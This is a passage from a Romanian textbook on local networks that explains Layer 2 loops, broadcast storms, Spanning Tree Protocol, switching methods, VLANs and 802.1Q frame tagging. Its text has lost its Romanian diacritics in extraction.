O bucl de nivel legtur de date apare ntr-o reea atunci cnd ntre dou dispozitive ale acesteia exist dou sau mai multe legturi active, fiecare conexiune folosind doar dispozitive de interconectare ce pot analiza cel mult informaii de nivel legtur de date.

2-7: Reea n care s-a creat o bucl Care este efectul apariiei buclelor de nivel legtur de date? Apariia buclelor de nivel legtur de date este corelat cu faptul c switchurile nu filtreaz pachetele de difuzare i duc la o depreciere semnificativ a performanelor reelei prin determinarea unei avalane de difuzri (broadcast storm). Se consider reeaua din figura de mai sus. Se presupune c staia A trimite un cadru de difuzare. Switchul 1 nu va gsi adresa destinaie n tabela sa de comutare, astfel nct va transmite cadrul pe celelalte segmente: segmentul ce conine staia B, segmentul dintre switchurile 1 i 2 precum i segmentul dintre switchurile 1 i 3. Staia B examineaz cadrul, decide c i este adresat i l trece spre nivelul legtur de date. Switchul 2 ia decizia de a transmite cadrul pe toate interfeele sale, cu excepia celei de pe care a primit cadrul. Astfel apar n reea dou cadre destinate staiei FF.FF.FF.FF.FF.FF, adic dou cadre de difuzare. Indiferent de ordinea n care acestea ajung la switchul 3, acesta va decide c nu cunoate adresa destinaie i le va retransmite ctre staia C, dar i ctre celelalte switchuri. Avalana de difuzri consum din banda util a reelei, ducnd la o micorare a bandei efective disponibile. O avalan de difuzri se oprete doar n cazul ntreruperii buclei. Cum poate fi prevenit apariia avalanelor de difuzri? Soluia trivial este ca switchurile s fie instruite s nu retransmit cadrele de difuzare. Din pcate acest lucru este imposibil, deoarece o serie de protocoale folosesc cadre de difuzare pentru a funciona corect, unul dintre acestea fiind chiar ARP - Address Resolution Protocol. Altfel spus, filtrarea cadrelor de difuzare de ctre switchuri ar presupune rescrierea protocoalelor fundamentale ce asigur suportul de comunicaie. Soluia valid se bazeaz pe identificarea buclelor i ntreruperea lor. Protocolul ce realizeaz aceasta se numete STP - Spanning Tree Protocol, i pornete de la construirea unui arbore de acoperire pe graful determinat de dispozitivele de interconectare i de conexiunile dintre acestea. Sunt problemele de redundan legate exclusiv de cadrele de difuzare? Cadrele de difuzare sunt principala cauz a deformrii performanelor unei reele cu bucle de nivel legtur de date. Cu toate acestea, redundana poate duce la nvarea de informaii false chiar n absena cadrelor de difuzare. Pentru a vedea comportamentul unei reele redundante n cazul reiniializrii unuia dintre switchuri, se va considera reeaua din Figura 4-8. Astfel staia A, interfaa e1 din switchul 1 (care va fi notat n continuare S1) i interfaa e3 din switchul 2 (S2) fac parte din acelai domeniu de coliziune. n mod asemntor staia B, interfaa e6 din S1 i interfaa e8 din S2 partajeaz acelai mediu de comunicaie.

70 | R e e l e L o c a l e

2-8: Reea de switchuri cu o bucl S1 a fost reiniializat, astfel nct cnd staia A va trimite un cadru destinat staiei B, S1 nu va gsi nicio informaie n tabela sa de comutare despre B. n acest caz va introduce n tabela sa de comutare corespondena ntre interfaa sa e1 i adresa MAC a staiei A. n paralel cu actualizarea tabelei de comutare S1 va trimite cadrul pe toate celelalte interfee n afar de e1, inclusiv pe interfaa e6. Astfel, cadrul va ajunge att la destinaie, ct i pe interfaa e8 din S2. S2, tiind c destinaia (staia B) se afl pe acelai segment cu interfaa e8 va ignora cadrul. Mediu de comunicaie fiind partajat cadrul transmis de A va ajunge att la S1, ct i la S2. Cadrul primit pe interfaa e3 va fi procesat de S2 i trimis pe interfaa e8. Astfel cadrul va ajunge nc odat la destinaie, staia B primind dou copii ale aceluiai cadru. n plus cadrul va ajunge i la switchul 1, care dup ce i va inspecta tabela de comutare, va gsi corespondena ntre adresa MAC a staiei A i e1. Cadrul semnat cu adresa MAC a staiei A fiind primit pe interfa e6, switchul consider c informaiile din tabela de comutare sunt alterate i va invalida aceast intrare, crend apoi o nou intrare ce va conine corespondena ntre adresa MAC a staiei A i interfaa e6. n plus, cadrul va fi trimis pe toate interfeele n afar de e6, inclusiv pe e1. S-a ajuns astfel n situaia n care cadrul de unicast trimis de staia A va fi livrat la destinaie de un numr nelimitat de ori, n plus tabela switchului 1 tergnd i adugnd alternativ corespondenele ntre adresa MAC a staiei A i interfeele e1 pe de o parte i corespondena cu e6 pe de alt parte. Pn n acest punct s-a argumentat faptul c redundana la nivelul legtur de date implic asumarea unor riscuri importante. Soluia pentru asigurarea redundanei reelei locale const n pstrarea redundanei de nivel fizic, dar ntreruperea buclelor de nivel legtur de date, aceast soluie fiind implementat de STP (Spanning Tree Protocol). Cum funcioneaz STP? Funcionarea acestui protocol se bazeaz pe crearea topologiei reelei folosind nite cadre speciale, numite cadre BPDU (Bridge Protocol Data Unit). Aceste cadre speciale sunt folosite intens la iniializarea switchurilor; ulterior, la fiecare dou secunde sunt schimbate cadre BDPU, pentru a verifica dac nu au aprut modificri. Totodat sunt definite cinci stri n care se poate afla o interfa a switchului: starea blocat, de ascultare, de nvare, de comutare de cadre i nefuncional (blocking, listening, learning, forwarding, disabled). n starea blocat nu se accept dect cadre BPDU, n cea de ascultare se primesc i cadre, dar acestea nu sunt retransmise. n starea de nvare, n plus fa de starea de ascultare, este inspectat adresa surs a cadrelor primite, permind astfel construirea tabelei de comutare. n starea de comutare, cadrele primite sunt retransmise, iar tabela de comutare este actualizat. n starea nefuncional nu sunt acceptate nici cadre BPDU. Pentru construirea arborelui de acoperire sunt necesare aproximativ 50 de secunde, timp n care toate porturile switchurilor sunt n starea blocat. Exist trei pai ce trebuie urmai pentru construirea arborelui de acoperire: mai nti trebuie aleas rdcina arborelui (root bridge), apoi trebuie alese porturile rdcin, pentru ca n final s fie stabilite porturile active.

71 | R e e l e E t h e r n e t

Prioritatea switchului este o valoare numeric pstrat n memoria nevolatil a fiecrui switch. Pe baza comparrii prioritilor tuturor switchurilor din reea, este identificat switchul cu prioritatea cea mai sczut, aceasta devenind rdcina arborelui de acoperire. Prioritatea switchului are o valoare implicit atribuit de productor, valoare ce poate fi modificat ulterior. n cazul folosirii mai multor echipamente produse de aceeai firm, se ntmpl adesea s existe mai multe switchuri cu aceeai prioritate. Cum poate fi stabilit care dintre dou sau mai multe switchuri cu aceeai prioritate s devin rdcina arborelui? Pe baza adresei fizice: switchul cu cea mai mic adres fizic devine rdcina arborelui de acoperire. Pasul al doilea presupune identificarea cilor redundante dintre fiecare switch i switchul rdcin, apoi selectarea unei sigure ci ntre respectivul switch i rdcin i, n final, dezactivarea celorlalte. Pentru aceasta trebuie decis creia dintre cele trei categorii de porturi: port rdcin (RP), port activ (DP designated ports) sau port inactiv (nondesignated ports NP) i va aparine fiecare dintre porturile ce particip la STP. Pentru evaluarea unei ci este calculat costul cii, cost ce este definit ca sum a costurilor porturilor prin care trece calea. Costul unui port este definit la rndul su n funcie de limea de band pe care o ofer portul. Lime de band 4 Mbps 10 Mbps 16 Mbps 45 Mbps 100 Mbps 155 Mbps 622 Mbps 1 Gbps 10 Gbps Cost 250 100 62 39 19 14 6 4 2

2-9: Costul STP n funcie de limea de band De-a lungul timpului au existat mai multe metode de calcul a costului unui port. Cu civa ani n urm costul portului pentru switchurile CISCO era determinat mprind 1000 la limea de band pe care o oferea portul, astfel nct un port Ethernet avea costul 100. Pentru alegerea porturilor rdcin au prioritate porturile conectate direct la rdcina arborelui de acoperire. n cazul n care nu exist niciun port cu o conexiune direct spre switchul rdcin, sau cnd exist mai mult de un singur port cu conexiune direct spre rdcin, este ales portul care are cel mai sczut cost al cii spre rdcin, urmnd ca acest port s fie marcat ca port rdcin. Ultimul pas din construcia arborelui de acoperire presupune determinarea porturilor active. Un port activ este un port ce trimite i recepioneaz trafic, n vreme ce un port inactiv este trecut n starea blocat. Odat stabilite porturile rdcin, trebuie identificate, pe de o parte, conexiunile ce fac parte dintr-o cale optim ctre switchul rdcin (deci care au la unul dintre capete un port marcat ca port rdcin), i, pe de alt parte, cele ce nu aparin din arborele de acoperire (deci conexiunile care trebuie ntrerupte). n primul caz metoda este evident: toate porturile ce fac parte dintr-o cale optim i nu sunt deja marcate ca porturi rdcin sunt marcate drept porturi active.

72 | R e e l e L o c a l e

n cel de al doilea caz trebuie fcut o comparaie ntre cele dou porturi ce definesc conexiunea redundant. Mai nti sunt comparate costurile celor dou porturi; dac acestea sunt egale, factorul decisiv este identificatorul switchului: portul de pe switchul cu identificatorul cel mai mic (cu prioritatea cea mai mic sau n cazul n care prioritile sunt egale, cu adresa MAC cea mai mic) devine port activ, n vreme ce portul cu identificatorul mai mare este marcat ca inactiv i este trecut n starea blocat. Fie reeaua din figur. Se vor urmri pentru aceast reea cu dou bucle etapele construirii arborelui de acoperire.

2-10: Construirea arborelui de acoperire Prima ntrebare este: care este rdcina arborelui de acoperire? Pentru aceasta sunt comparate prioritile celor 5 switchuri. n cazul reelei de mai sus pornim de la premisa c toate switchurile sunt produse de acelai fabricant i n plus sunt abia scoase din cutie. Altfel spus, toate switchurile au aceeai prioritate. n acest caz trebuie comparate adresele fizice. Switchul cu adresa MAC cea mai mic este A. Astfel A devine rdcina arborelui de acoperire. La pasul al doilea trebuie stabilite pentru restul switchurilor costurile porturilor ce ofer ci spre switchul rdcin. Pentru o legtur Ethernet costul e 100, pentru una FastEthernet e 19, iar pentru una GigaEthernet e 4; prin urmare: B-Root: 19 B-C-D-Root: 42 B-C-D-E-B-Root: 176 C-B-Root: 38 C-D-Root: 23 C-D-E-B-Root: 157 D-Root: 4 D-C-B-Root: 57 D-E-B-Root: 138 E-B-Root: 119 E-D-Root: 23 E-D-C-B-Root: 76

73 | R e e l e E t h e r n e t

Conexiunile ce fac parte din arborele de acoperire sunt: B-A, C-D-A, D-A i E-D-A, astfel sunt marcate drept porturi rdcin cele patru porturi corespunztoare acestor conexiuni (de pe switchul B portul ce face parte din legtura B-A, etc.) n pasul al treilea trebuie stabilite porturile active pentru legturile B-E i B-C. Pentru conexiunea B-E, costul portului de pe switchul B este 19, n vreme ce costul portului de pe E este 23. Prin urmare portul de pe B va fi marcat ca port activ, iar portul de pe E va fi marcat ca non-designated sau inactiv. n mod similar, pentru conexiunea B-C, portul de pe switchul B va fi activ, avnd un cost de 19, iar portul de pe C va fi trecut n starea blocat, fiind un port non-designated.

B D P
9 1

P R P B P

B P

2-11: Configuraia final

2.2.4 Metode de comutare


Exist dou metode de comutare a pachetelor: comutare direct (cut through) i comutare dup stocare (store and forward). Metoda de comutare dup stocare se bazeaz pe recepionarea ntregului cadru nainte de a ncepe retransmisia acestuia. Latena acestei metode crete odat cu dimensiunea cmpului de date. Cu toate acestea, performanele metodei de comutare dup stocare pot fi superioare celor oferite de comutarea direct, mai ales n cazul liniilor expuse unor interferene puternice. Mecanismele de detecie a erorilor pe care le ofer aceast metod permit asigurarea unei conexiuni sigure la nivelul legtur de date. Metoda de comutare dup stocare pune i problema asigurrii memoriei pentru stocarea cadrelor. Fie exemplul unui switch cu 24 de porturi. Acesta trebuie s poat gestiona 12 comunicaii simultane, care n cel mai defavorabil caz posibil vor transfera cadre de lungime maxim. Se ajunge astfel la o dimensionare a memoriei RAM necesar pentru stocarea cadrelor de aproape 18 kB. Dei dimensionarea memoriei RAM folosite pentru stocarea cadrelor nu este principalul factor de stabilire a preului unui switch, nu trebuie omis faptul c preurile pentru memoriile dispozitivelor dedicate sunt de cteva ori mai ridicate dect cele pentru memoriile folosite n calculatoarele personale. Comutarea direct presupune ca dispozitivul de interconectare s nceap transmiterea cadrului pe portul destinaie imediat ce adresa destinaie a fost trecut prin tabela de comutare i interfaa de plecare a fost determinat. Cel mai adesea se ntmpl ca transmisia cadrului s nceap nainte de recepionarea integral a cadrului. Astfel switchul primete pe una dintre interfee octei ce compun cadrul, transmind n acelai timp pe portul destinaie octeii din acelai cadru primii mai devreme.

74 | R e e l e L o c a l e

Pentru comutarea direct nu este necesar nici mcar recepionarea integral a antetului cadrului, adresa destinaie fiind suficient. Aceast metod se numete comutare direct rapid (fast forward) i ofer o laten de aproximativ 21 de microsecunde. Datorit faptului c retransmisia cadrului ncepe imediat dup citirea adresei destinaie, cadrele eronate vor fi transmise cu erori. Dei aceste cadre sunt respinse la nivelul legtur de date al destinaiei (de ctre placa de reea), traficul generat de retransmisia lor poate, n cazul unui mediu de transmisie cu multe erori, s duc la o depreciere sever a performanelor reelei. Al doilea tip de comutare direct este comutarea fr fragmente (fragment free). n aceast metod de comutare fragmentele de cadre rezultate n urma unei coliziuni sunt filtrate. ntr-o reea ce respect specificaiile standardului Ethernet dimensiunea fragmentelor de coliziuni nu poate depi 64 de octei. n cazul comutrii fr fragmente, switchul decide c irul de octei recepionai nu face parte dintr-un fragment rezultat n urma unei coliziuni i abia apoi ncepe retransmisia pe portul destinaie. Latena n acest caz este de minim 51,2 microsecunde, timpul necesar recepionrii a 64 de octei.

2.2.5 Switch vs. Bridge


Care sunt diferenele dintre un switch i un bridge? Cele mai importante dou diferene dintre un switch i un bridge se refer la metodele de comutare oferite i la proiectarea backplain-ului. Fa de bridge-uri, switchurile implementeaz n general metode de comutare mai rapide. n general bridge-urile, dei nu sunt interesate de detecia unui numr ct mai mare de erori, implementeaz doar comutarea dup stocare. Aceast practic este explicabil mai degrab prin raiuni istorice, nefiind rezultatul unei decizii de optimizare a traficului n reea. Cea de a doua diferen se refer la capacitatea switchurilor de a permite mai multe comunicaii simultane, fr a scdea limea de band alocat fiecreia dintre conexiuni. Spre deosebire de un switch, o punte va avea o capacitate de comutare intern (backplain) aproximativ egal cu viteza porturilor. Altfel spus, n cazul unui bridge cu 4 porturi de 10 Mbps, pentru o singur conexiune limea de band disponibil va fi de 10 Mbps, dar n cazul iniierii a dou conexiuni simultane (staia de pe portul 1 comunic cu cea de pe portul 3 i n acelai timp staia de pe portul 2 comunic cu cea de pe portul 4), fiecare dintre cele dou conexiuni va avea o band disponibil de 5 Mbps. Cele dou diferene dintre switchuri i bridge-uri sunt n fapt avantaje importante ale switchurilor, iar preul unui switch este foarte apropiat de cel al unui bridge. Cu toate acestea se mai produc bridge-uri i n ziua de azi. Exist un caz n care cele dou avantaje ale switchurilor i pierd relevana. Este vorba despre interconectarea a dou reele ce folosesc protocoale de nivel 2 diferite. n acest caz singura metod de comutare posibil este store-and-forward, deoarece cel mai adesea cadrele trebuie rempachetate, datorit diferenelor de dimensiune maxim a cadrului, dar i datorit diferenelor de format a antetelor. n plus, pentru interconectarea a dou reele cu protocol de nivel legtur de date diferit se folosete n general un dispozitiv dedicat, astfel nct backplain-ul dispozitivului s nu trebuiasc s fac fa la mai mult de o conexiune la un moment dat. Crui fapt i se datoreaz variaia de pre ntre switchuri? Numrul de porturi este unul din factorii ce determin preul unui switch. Exist un cost mediu pe port, acest cost variind n funcie de vitez i de productor. De exemplu, costul pentru un port Ethernet se situeaz ntre 8 i 10 $. Pe de alt parte, datorit numrului mare de servicii pe care le poate oferi un switch, de la simpla comutare de pachete pn la rularea STP sau chiar a SNMP, preurile switchurilor

75 | R e e l e E t h e r n e t

variaz extrem de mult. Astfel, dac un switch cu 8 porturi fr nicio facilitate suplimentar poate s coste sub 100$, un switch aparinnd aceluiai productor, dar oferind un management avansat i posibilitatea inserrii de noi module poate s ajung la 2000$.

2.3 Reele locale virtuale


Dup cum s-a vzut n seciunea anterioar, folosirea switchurilor ntr-o reea Ethernet are ca efect segmentarea acesteia n domenii de coliziune individuale, neavnd niciun efect asupra domeniului de difuzare. Acest lucru nseamn c toate nodurile din reea pot s vad broadcast-ul trimis de un nod al unui segment. O caracteristic important a comutrii n reelele Ethernet o reprezint abilitatea de a crea LAN-uri virtuale (VLAN Virtual LAN). Conceptul de reea virtual a fost standardizat de ctre comitetul 802 (IEEE), fiind utilizat n ziua de azi de multe organizaii. Un VLAN reprezint o grupare logic a staiilor/utilizatorilor i echipamentelor de reea, fr nicio restricie asupra segmentului fizic din care fac parte. VLAN-urile segmenteaz o reea comutat, innd seama de organizarea n echipe de lucru sau de aplicaii i nu de criterii geografice. Altfel spus, o reea local virtual poate fi privit ca un domeniu logic de broadcast definit de o mulime de switchuri. Traficul ntre VLAN-uri este restricionat. Switchurile transmit trafic de tip unicast, multicast i broadcast numai pe segmentele de reea ce fac parte din VLAN-ul de care aparin. Cu alte cuvinte nodurile dintr-un VLAN comunic numai cu nodurile din acelai VLAN. Pentru comunicare ntre VLAN-uri diferite este nevoie de un dispozitiv de nivel trei, i anume un router. De ce este nevoie de VLAN-uri? Marele avantaj obinut prin introducerea switchurilor ntr-o reea Ethernet const n crearea domeniilor de coliziune independente pentru fiecare port al switchului. Dar, cu fiecare pas, apar noi probleme cu ct sunt mai muli utilizatori i/sau mai multe switchuri, cu att numrul broadcast-urilor va fi mai mare. Altfel spus, pe msur ce din ce n ce mai multe reele locale sunt interconectate, numrul cadrelor de broadcast recepionate de fiecare staie tinde s creasc liniar cu numrul de staii.

2-12: Topologie cu trei domenii de broadcast Toate echipamentele dintr-un VLAN sunt membre ale aceluiai domeniu de broadcast, recepionnd astfel toate broadcast-urile. Toate cadrele de broadcast sunt filtrate de toate

76 | R e e l e L o c a l e

porturile unui switch ce nu sunt n VLAN-ul respectiv. Acesta este un avantaj deoarece ofer toate beneficiile pe care le ofer o reea comutat, dar fr dezavantajele de a avea toi utilizatorii ntr-un singur domeniu de broadcast. Cu ajutorul VLAN-urilor putem controla uor mrimea domeniilor de broadcast prin: controlul dimensiunii totale a VLAN-urilor sale; restricionarea numrului de porturi pe switch n cadrul unui VLAN; restricionarea numrului de utilizatori ce folosesc aceste porturi. O alt problem o reprezint securitatea. n cadrul unei reele Ethernet comutate toate staiile pot vedea toate celelalte staii i nu exist o politic de oprire a broadcast-urilor trimise de staii sau de oprire a rspunsurilor utilizatorilor la ele. Orice plac de reea poate fi setat ntr-un mod transparent (promiscuous), copiind tot traficul ce sosete pe canalul de comunicaie. Astfel, prin crearea VLAN-urilor i a domeniilor de broadcast separate, administratorii pot avea control asupra fiecrui port i asupra fiecrui utilizator. Zilele cnd utilizatorii puteau s se conecteze cnd doreau cu staia aflat la oricare din porturile unui switch, obinnd acces la resurse, ar trebui s fie istorie demult, deoarece administratorul are controlul asupra porturilor i asupra resurselor ce se pot accesa prin acele porturi. Dei VLAN-urile sunt create n concordant cu resursele de care un utilizator are nevoie, switchurile pot fi configurate s informeze staiile de management n legtur cu orice acces neautorizat sesizat. Iar dac se dorete i comunicare ntre VLAN-uri se pot implementa restricii pe router pentru a obine un nivel nalt de securitate. VLAN-urile ofer un grad mare de flexibilitate i scalabilitate. Prin implementarea lor se creeaz domenii de broadcast mai mici. Asta nseamn c broadcast-urile trimise de un nod dintr-un VLAN nu vor ajunge pe porturile configurate n alt VLAN. Aa c, prin atribuirea porturilor sau utilizatorilor unui VLAN pe un switch, se ctig flexibilitatea de a aduga numai pe acei utilizatori pe care i dorim n domeniul de broadcast respectiv. Aceast abordare poate funciona i pentru blocarea broadcast storm-urilor cauzate de o plac de reea defect, ct i pentru prevenirea unui echipament intermediar de a le propaga n toat reeaua. Aceste broadcast storm-uri se pot ntmpla i n cadrul unui VLAN, dar ele vor fi reduse numai la VLAN-ul din care au pornit. VLAN-urile impun o mai mare scalabilitate ntr-o reea comutat. Cnd un VLAN devine prea mare, se pot crea alte VLAN-uri, oprind astfel broadcast-urile s afecteze limea de band a reelei cu ct sunt mai puini utilizatori ntr-un VLAN, cu att numrul broadcasturilor este mai mic. Trebuie ns inut cont n mod special, cnd este vorba de proiectarea unei reele cu VLAN-uri, de serviciile disponibile n reea i trebuie neles mecanismul conectrii utilizatorilor la aceste resurse. Un alt avantaj pe care l ofer VLAN-urile este impactul sporit asupra performanei reelei. Putem grupa utilizatorii ce folosesc aplicaii intensive de reea ntr-un VLAN separat. De exemplu, putem crea un VLAN separat pentru un tehnician ce testeaz o aplicaie multicast i pentru serverele pe care acesta le folosete. Acesta se va bucura de timpi de rspuns foarte buni din partea resurselor pe care le utilizeaz, fiind ntr-un LAN dedicat, n timp ce ntregul departament tehnic nu i va mai exprima nemulumirea n legtura cu scderea ratei de transfer a filmului pe care ateapt s l downloadeze, deoarece ntreaga aplicaie este izolat ntr-un VLAN separat. VLAN-urile uureaz gestionarea migraiilor, adugrilor i a schimbrilor din reea network management. Prin intermediul software-ului de pe switch se pot aduga utilizatori ntr-un VLAN, iar mai trziu li se poate schimba apartena ntr-un altul. Recablarea pentru asigurarea conectivitii nu mai este necesar ntr-o reea comutat deoarece tool-urile de management ale reelei permit reconfigurarea logic a sa n doar cteva secunde.

77 | R e e l e E t h e r n e t

2-13: VLAN segmentat pe departamente Figura de mai jos arat cum ase VLAN-uri (numerotate de la 2 la 7) au fost folosite pentru a crea un domeniu de broadcast pentru fiecare departament. Fiecrui port al switchului i este atribuit cte un VLAN, depinznd de staia i domeniul de broadcast n care trebuie s fie aceasta. Acum dac se dorete adugarea unei noi staii n VLAN-ul de Vnzri (VLAN 7), se atribuie portul respectiv VLAN-ului 7, indiferent de locaia fizic a noului utilizator. Aceasta ilustreaz unul dintre avantajele importante ale proiectrii unei reele cu VLAN-uri, i anume reflectarea structurii organizatorice mai degrab dect a structurii fizice.

2-14: Utilizarea VLAN-urilor


Marketing Distribuie Tehnic Finane Management Vnzri VLAN2 VLAN3 VLAN4 VLAN5 VLAN6 VLAN7 172.16.2.0/24 172.16.3.0/24 172.16.4.0/24 172.16.5.0/24 172.16.6.0/24 172.16.7.0/24

78 | R e e l e L o c a l e

De remarcat faptul c n figur VLAN-urile ncep s fie numerotate de la VLAN 2. Oricum numrul este irelevant, dar ce s-a ntmplat cu VLAN 1? Acest VLAN este un VLAN administrativ, recomandndu-se a fi folosit n acest scop. VLAN 1 nu poate fi ters sau modificat i implicit, toate porturile de pe un switch fac parte din acest VLAN, pn la o nou atribuire. Fiecare VLAN fiind considerat un domeniu de broadcast separat, trebuie s aib un numr de reea, prin care este identificat. Fiecare staie dintr-un VLAN nu poate comunica dect cu o staie din VLAN-ul respectiv, astfel c, pentru comunicaia ntre VLAN-uri, este necesar un router sau un dispozitiv de nivel 3, aa c nu e de ateptat ca routerele s dispar prea curnd! Implementarea unui VLAN pe un switch implic urmtoarele aciuni:
switchul menine o tabel de comutare separat pentru fiecare VLAN; dac un cadru ajunge la switch pe portul ce se afl ntr-un VLAN oarecare, switchul caut tabela de comutare pentru VLAN-ul respectiv; cnd cadrul este primit, switchul adaug n tabela de comutare adresa surs a cadrului recepionat dac aceasta este necunoscut; switchul caut destinaia pentru a ti ce decizie trebuie s ia; pentru partea de learning i forwarding, cutarea este fcut n tabela de comutare a VLANului respectiv.

2.3.1 Tipuri de VLAN-uri


VLAN-urile sunt de obicei create manual de ctre un administrator, ce atribuie apoi porturilor de pe switch cte un VLAN. Aceste VLAN-uri se numesc VLAN-uri statice. VLAN-urile statice sunt cele mai des folosite n ziua de azi, avnd numeroase avantaje cum ar fi: securitatea ridicat, uurina de configurare, simplitatea monitorizrii, funcionarea bun n reele n care aciunile sunt controlate i administrate. Porturile i menin configuraiile VLAN atribuite pn cnd acestea sunt schimbate manual. Cnd o staie este conectat la un port al switchului, aceasta va face parte din VLAN-ul configurat pe portul respectiv. n figura de mai sus, fiecare port al switchurilor a fost configurat manual cu cte un VLAN, n funcie de VLAN-ul n care fiecare staie trebuia s se afle locaia fizica a staiei nu conteaz. De amintit faptul c fiecare staie trebuie s aib o adres logic (de nivel trei) consistent. De exemplu, fiecare staie ce aparine VLAN-ului 2 trebuie configurat cu o adres IP din reeaua 172.16.2.0/24. De reinut faptul c nainte de a conecta o staie ntr-un port al unui switch, trebuie verificat configuraia portului, pentru a verifica din ce VLAN face parte. Dac VLAN-ul respectiv este diferit fa de VLAN-ul n care trebuia staia s se afle, atunci staia va ntmpina probleme de accesare a resurselor locale VLAN-ului. VLAN-urile dinamice determin apartenena unui nod la un VLAN automat, folosind managementul centralizat al aplicaiilor pe VLAN-uri. Dei administrarea este mai simpl n centrele de cablare (wiring closet), VLAN-urile dinamice sunt mai rar folosite dect cele statice. Apartenena la un VLAN dinamic se bazeaz pe adresa fizic (MAC), adresa logic sau tipul de protocol. De exemplu, se poate presupune c adresele fizice au fost introduse corect ntr-o baz de date, ce conine corespondene <adresa MAC VLAN> i se afl pe un server de configurat VLAN-uri. Dac un nod este ataat unui port de pe switch, neconfigurat n niciun VLAN, se va cuta n baza de date adresa MAC a nodului i dac aceasta va fi gsit, portul n care a fost conectat nodul va fi configurat i i se va atribui VLAN-ul respectiv. Sistemul dispune i de un mecanism de semnalizare cnd un utilizator necunoscut se adaug la reea (adresa MAC nu este configurat pe server).

79 | R e e l e E t h e r n e t

2.3.2 Legturi acces/trunchi


Switchurile ntr-o reea Ethernet trebuie s gestioneze toate tipurile de cadre i, n plus, s neleag ce s fac cu acestea, bazndu-se pe adresa MAC. Tehnologia pus la dispoziie de VLAN-uri ofer posibilitatea gruprii porturilor i a utilizatorilor n grupuri logice, grupare ce implic folosirea mai multor switchuri, partajarea aceleiai cldiri sau a mai multor cldiri sau chiar WAN-uri. Pentru orice arhitectur VLAN, important este posibilitatea transferului de informaie ntre staii, switchuri i routere. Exist dou tipuri de legturi ntr-o reea bazat pe switchuri Ethernet: legturi de acces i legturi de trunchi. O legtur de acces reprezint o legtur pe switchul ce este membru ntr-un singur VLAN i este denumit VLAN-ul nativ al portului. Orice nod conectat printr-o legtur de acces nu este contient de apartenena sa la vreun VLAN nodul presupune c face parte dintr-un domeniu de broadcast, necunoscnd aspectul fizic al reelei. Switchurile nltur orice informaie despre VLAN-uri, ce ar putea fi coninut ntr-un cadru, nainte ca acesta s fie pus pe o legtur de acces. Staiile de pe legturile de acces nu pot comunica cu staiile din alt VLAN, comunicarea realizndu-se numai dac pachetul este rutat.

2-15: Legturi acces/trunchi O legtur de trunchi este capabil s suporte mai multe VLAN-uri, de obicei fiind folosit pentru a conecta switchurile de alte switchuri sau de routere. O legtur de trunchi poate fi privit ca o autostrad, pe care circul maini ce trebuie s ajung fiecare la destinaii diferite. O legtur de trunchi nu aparine unui VLAN specific, responsabilitatea acesteia fiind s acioneze ca i conexiune pentru VLAN-uri ntre switchuri i routere. Poate fi configurat pentru a transporta toate VLAN-urile sau numai un numr limitat de VLAN-uri. Dac legtura ntre switchuri nu este configurat drept legtur de trunchi, atunci implicit, numai informaiile VLAN-ului 1 vor fi schimbate pe aceast legtur. O legtur de trunchi poate avea un VLAN nativ, acesta fiind folosit dac legtur de trunchi cedeaz, dintr-un motiv oarecare.

2.3.3 Metode de identificare


Dup cum s-a observat mai sus, VLAN-urile pot fi create s se extind pe o mulime de switchuri, switchurile fiind conectate ntre ele prin legturi de trunchi. ns, problema care apare acum chiar i pentru un switch este cum va gestiona acesta cadrele schimbate pe legtura de trunchi i cum identific VLAN-ul de care aparine un cadru? Conceptul ce a fost introdus se bazeaz pe asignarea de ctre switch a unui identificator unic fiecrui cadru, identificator ce reprezint VLAN-ul din care face parte (VLAN ID). Aceast metod de modificare a cadrelor primite de switch poart numele de frame tagging. Fiecare

80 | R e e l e L o c a l e

switch ce primete un cadru, coninnd un marcaj de VLAN (tag), trebuie mai nti s identifice identificatorul de VLAN (VLAN ID), dup care switchul se uit n tabela de filtrare pentru a lua o decizie. Dac switchul ce a primit cadrul are numai o legtur de trunchi, atunci cadrul va fi trimis pe aceasta. ns, o dat ce un cadru trebuie s ajung pe o legtur de acces, se verific identificatorul de VLAN cu VLAN-ul ce se afl pe acea legtur, iar dac acestea corespund, switchul nltur VLAN ID-ul i trimite cadrul pe acel segment de reea. Scopul primar al metodelor de trunchiere este acela de a asigura comunicaia ntre switchuri, ntr-o arhitectur bazat pe VLAN-uri. Cisco a creat ISL, acesta funcionnd numai ntre echipamente Cisco. Dac se dorete un protocol de trunchiere ce nu este proprietar, se va folosi IEEE 802.1Q. n cele ce urmeaz, va fi analizat standardul 802.1Q, metoda de trunchiere ISL ne mai fiind suportat pe nicio platform Cisco Catalyst. 802.1Q reprezint standardul IEEE pentru marcarea cadrelor (frame tagging) ce traverseaz o legtur de trunchi. Fiind un standard IEEE, acest protocol poate fi folosit cu uurin ntre echipamentele ce provin de la diferii productori. 802.1Q nu ncapsuleaz cadrul original, ci n schimb, insereaz un cmp de 4 octei n antetul cadrului Ethernet original, recalculnd suma de control (FCS), nainte ca acesta s fie trimis pe o legtur de trunchi. Overheadul pe care acest protocol l introduce este de 4 octei, ceea ce duce la o lungime maxim a cadrului Ethernet de 1522 de octei. Cmpul de 4 octei, inserat ntre cmpurile Adres Surs i Lungime/Tip, este format din dou pri: primii 2 octei indic identificatorul protocolului VLAN, ce are ntotdeauna valoarea 0x8100, iar urmtorii 2 octei conin trei cmpuri. Sub-cmpul cel mai important este identificatorul de VLAN, ce ocup cei mai puin semnificativi 12 bii, ceea ce indic faptul c o legtur de trunchi ce utilizeaz protocolul 802.1Q poate suporta pn la 4096 de VLAN-uri. Cmpul Prioritate (Priority) de 3 bii se refer la standardul IEEE 802.1p, de prioritate a traficului. Acest cmp face distincia ntre traficul n timp real implementat hard i cel implementat soft i de traficul intens pentru o mai bun calitate a serviciilor n Ethernet. 1 Preambul 6 Adres destinaie 6 Adres surs 2 Lungime/Tip 46-1500 Date 4 Sum de control

2-16: Structura cadrului Ethernet 802.3 1 Preambul 6 Adres destinaie 6 Adres surs 4 TAG 2 Lungime/Tip 46-1500 Date 4 Sum de control

2-17: Structura cadrului 802.1Q 2B Identificator protocol (0x8100) 3b Prioritate 1b CFI 12b VLAN ID

2-18: Structura cmpului TAG Cmpul CFI (Canonical Format Indicator) de 1 bit era folosit s indice adresele MAC n format Little Endian sau Big Endian. n prezent este un flag pentru anunarea existenei unui cadru prestabilit 802.5 (Token Ring). Not: Ce trebuie remarcat este faptul c aceast metod de trunchiere introduce o suprancrcare de 4 octei cadrului Ethernet. Deoarece cadrele Ethernet nu trebuie s fie mai mari de 1518 octei, informaia adiional ce este adugat va crea cadre ce depesc

81 | R e e l e E t h e r n e t

